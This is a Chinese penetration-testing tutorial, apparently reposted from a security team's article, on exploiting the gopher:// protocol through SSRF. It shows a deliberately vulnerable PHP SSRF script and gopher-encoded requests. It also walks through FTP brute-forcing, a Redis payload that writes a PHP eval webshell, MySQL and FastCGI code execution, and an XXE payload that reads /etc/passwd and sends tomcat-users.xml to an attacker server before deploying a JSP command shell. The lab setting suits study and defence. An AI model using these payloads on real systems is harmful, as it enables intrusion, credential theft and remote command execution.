Gopher协议使用总结
这是 酒仙桥六号部队 的第 64篇文章。全文共计3714个字,预计阅读时长12分钟。什么是Gopher协议?
Gopher协议是一个通信协议,它用来设计,分配,搜索与检索文档中的internet协议的网络。在超文本传输协议(http)出现之前,它是internet上最重要的信息检索工具,gopher生态系统被认为是万维网的前身。Gopher这个名字是由在明尼苏达大学的Anklesaria 命名的,它的名字由来是这样的:
[*]明尼苏达大学的吉祥物是地鼠。
[*]一个跑腿的助手就像地鼠一样在地下挖洞总能到达它想要的位置。
由于可以GET、POST请求,那可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,利用Gopher我们可以对FTP,Telnet,Redis,Memcache,基于一个TCP 包的 exploit等等进行内网攻击,这样极大的拓宽了我们的攻击面。Gopher协议格式
Gopher默认端口是70:URL:gopher://<host>:<port>/<gopher-path>
<gopher-path>可以是下面其中之一的格式:<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
如果省略<port>,则端口默认为70。<gophertype>是一个单字符字段,表示URL所引用资源的Gopher类型。整个<gopher-path>也可以为空,在这种情况下,定界“/”也是可以为空,并且<gophertype>默认为“ 1”。<selector>是Gopher选择器字符串。在Gopher协议中,Gopher选择器字符串是一个八位字节序列,可以包含除09十六进制(US-ASCIIHT或制表符),0A十六进制(US-ASCII字符LF)和0D(US-ASCII字符CR)之外的任何八位字节。<search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开。Gopher客户端通过将Gopher<selector>字符串发送到Gopher服务器来指定要检索的项目。如何转换规则
我们先随意构造一个简单php代码<?php
$b=$_REQUEST["a"]
echo $b;
?>
我们构造一个GET包。虽然Burp帮我们GET那么多参数,我们可以缩到3行。GET /edit.php?a=Hi HTTP/1.1
Host: 127.0.0.1
Connection: close
转换规则1.如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。2.如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。3.将\r字符串替换成%0d%0a。4.空白行替换为%0a。5.问号需要转码为URL编码%3f,同理空格转换成%20。6.在HTTP包的最后要加%0d%0a,代表消息结束。我们先将其转换成gopher协议执行。curlgopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a
Content-Length为2。POST同理,但是需要5行。POST /edit.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
a=Hi
curlgopher://192.168.11.1:80/_POST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a
我们可以测试SSRF中gopher是否有效。先写一个有SSRF的漏洞PHP代码,这里没对参数做任何过滤。<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
注意php.in 要开启extension=php_curl.dllPhp版本>5.3 (gopher协议在5.3版本以上才开始支持)攻击机监听本地4444端口,同时浏览器访问:192.168.11.1/ssrf2.php?url=gopher://192.168.11.130:4444/_hello
记得要在传输的数据前加一个无用字符。收到传输过来的字符那么说明没有问题。FTP爆破
内网中存在弱口令的FTP比较多,我们可以尝试一下。攻击机IP:192.168.11.130SSRF服务器IP:192.168.1.11FTP服务器IP:192.168.11.136首先,先在FTP的服务器上测试一下访问FTP的流量情况,对其进行抓包处理。curl ftp://vsftp:vsftp@127.0.0.1/ 【vsftp账号:vsftp密码】
右键 Follow tcp steam ,保存为ASCII格式,这里我们只保留 USER PASSQUIT这3个字符用于加快爆破返回速度。按照规则转换成gopher码,再放入BP中需要对其进行一次转码进行爆破。REDIS
常见的写入webshell脚本。flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /www/wwwroot/
config set dbfilename shell.php
save
用wireshark捕捉lo0,再写入:右键定位tcp跟踪流:按之前的方法转换成gopher码后,成功生成shell.php。当然我们也可以利用gopherus直接生成gopher码https://github.com/tarunkant/Gopherus
成功执行,可以用蚁剑连接。Redis 未授权访问除了Webshell之外 ,我们也可以使用 crontab 反弹 shell,利用公私钥直接登录目标服务器,主从模式等。MYSQL
MYSQL认证模式有2种
[*]密码认证,这种使用挑战应答模式,服务器会先对密码加salt之后再进行验证。
[*]无需密码认证,直接发送数据包即可。
MYSQL还有3种连接方式:
[*]Unix套接字,这种用于linux或者unix环境下且client和server端需要在一台电脑中。
[*]内存共享或者命名管道。这种用于windows环境下且clent和server端在一台电脑中。
[*]TCP/IP,网络传输协议,使用的最多的一种连接方式。
那么在非交互下我们可以使用TCP/IP 无密码认证来实现攻击。先创建1个无密码的本地登录用户,再进行抓包处理。客户端输入: mysql -h 127.0.0.1 -u ssrf -p
show version();
exit;
将得到的抓包文件同理进行过滤成tcp流 raw格式。再将进行一次urlencode格式转换。成功得到版本信息。我们这里也可以用https://github.com/FoolMitAh/mysql_gopher_attack 实现。我们这里尝试写入phpinfo文件。前提是我们需要足够有写入的文件权限,以及将-sercure-file-priv其修改为空,不然只能导入到指定的位置。如新版本mysql强制导出文件到指定文件,需要对其进行添加新路径。eg: python exploit.py -u root -p "" -d "" -P "PAYLOAD" -v -c
FAST CGI
FastCGI(Fast Common GatewayInterface)全称是“快速通用网关接口”,是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议。Fastcgi协议由多个record组成,其中recoed包含header和body。服务器中间件将header和body按照fastcgi的规则封装好通过tcp发送给FPM(Fastcgi协议解析器),FPM解码后将结果再封装后返回给中间件。其中FPM按照fastcgi的协议将TCP流解析成真正的数据。举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2, 如果web目录是/var/www/abc,那么Nginx会将这个请求变成如下key-value对:{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/abc/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/abc',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/abc/index.php。也就是说php-fpm根据script_filename的值来执行php文件。如果该文件不存在,则返回404。大致原理:1.NGINX与IIS7曾出现php解析漏洞,例如访问http://127.0.0.1/1.jpg/.php则访问的文件是1.jpg,却按照.php解析。由于php中的fix_pathinfo特性,如果地址路径为/var/www/abc。它会先判断SCRIPT_FILENAME即/var/www/abc/1.jpg/.php是否存在,如果不存在则去掉最后一个/和后面的内容,判断/var/www/abc/1.jpg是否存在,如果存在则按照php来解析。2.PHP.INI中有两个配置项,auto_prepend_file和auto_append_file。可以将文件require到所有页面的顶部与底部。auto_prepend_file是在执行目标之前先包含auto_prepend_file中指定的文件,我们可以将auto_prepend_file设定为php://input,auto_append_file是执行完成目标文件后,包含auto_append_file指向的文件。其中FPM还有2个变量需要如下设置PHP_VALUE和PHP_ADMIN_VALUE。分别设置为:'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
利用条件:
[*]libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
[*]PHP-FPM监听端口
[*]PHP-FPM版本 >= 5.3.3
[*]知道服务器上任意一个php文件的绝对路径
FastCGI 基本都在本地 127.0.0.1 端口上的,这里用P神脚本尝试执行。https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
我们将其转换成gopher,先监听2333端口。再执行脚本。得到的脚本进行简单的urlencode转换。执行即可:curl -v ‘gopher://127.0.0.1:9000/_[上面生成payload]’我们可以利用gopherus直接生成gopher码下图可以直接进行命令执行。XXE
我们这边模拟一个JAVA-XXE的环境用XXE来读取其中的TOMCAT账号密码 ,最后用gopher来执行RCE。存在XXE 服务器IP:192.168.11.139
攻击服务器IP:192.168.11.130
环境https://github.com/pimps/docker-java-xxe
这里搭建完后有个小BUG,需要将app中index.htmlxxe-example.war拷贝到子目录xxe-example。我们先测试xxe是否能读取出XXE漏洞服务器本地密码。这里访问192.168.11.139:8080并构建XXE,<!DOCTYPE Anything [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<book>
<title>&xxe;</title>
<isbn>31337</isbn>
<author>Jon Snow</author>
</book>
我们接下来读取tomcat里面的tomcat-user.xml数据并将其传递给远程的攻击服务器。提供ftp服务和web服务的服务器,FTP负责接受外部的DTD数据,WEB提供接受FTP的payload。环境https://github.com/staaldraad/xxeserv编写一个外部的dtd。./xxeserv -wp 4444 -w -p[-wp为开启web并修改web端口 -p开启FTP端口]
尝试读取tomcat-user.xml里面的账户密码。构建XXE:<!DOCTYPE Anything [
<!ENTITY % data3 SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml">
<!ENTITY % sp SYSTEM "http://192.168.11.130:4444/dtds/oob.dtd">
%sp;
%param3;
%exfil;
]>
<book>
<title>OOB EXFILL</title>
<isbn>31337</isbn>
<author>xxx</author>
</book>
使用脚本执行一键RCE。脚本https://github.com/pimps/gopher-tomcat-deployer我们用刚才读取出的账号密码构建::python gopher-tomcat-deployer.py -u admin -p admin -t 127.0.0.1 -pt 8080 cmd.jsp
将生成的gopher导入payload 中:成功生成cmd目录和cmd.jsp并能执行命令。总结
虽然Gopher协议已经渐渐退出了历史的舞台,但是对渗透来说仍然是个不可低估的协议。它总能扩大思维结合其他漏洞进行许多拓展攻击。参考链接:https://en.wikipedia.org/wiki/Gopher_(protocol
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://joychou.org/web/phpssrf.html
https://blog.chaitin.cn/gopher-attack-surfaces/
https://staaldraad.github.io/2016/12/11/xxeftp/
页:
[1]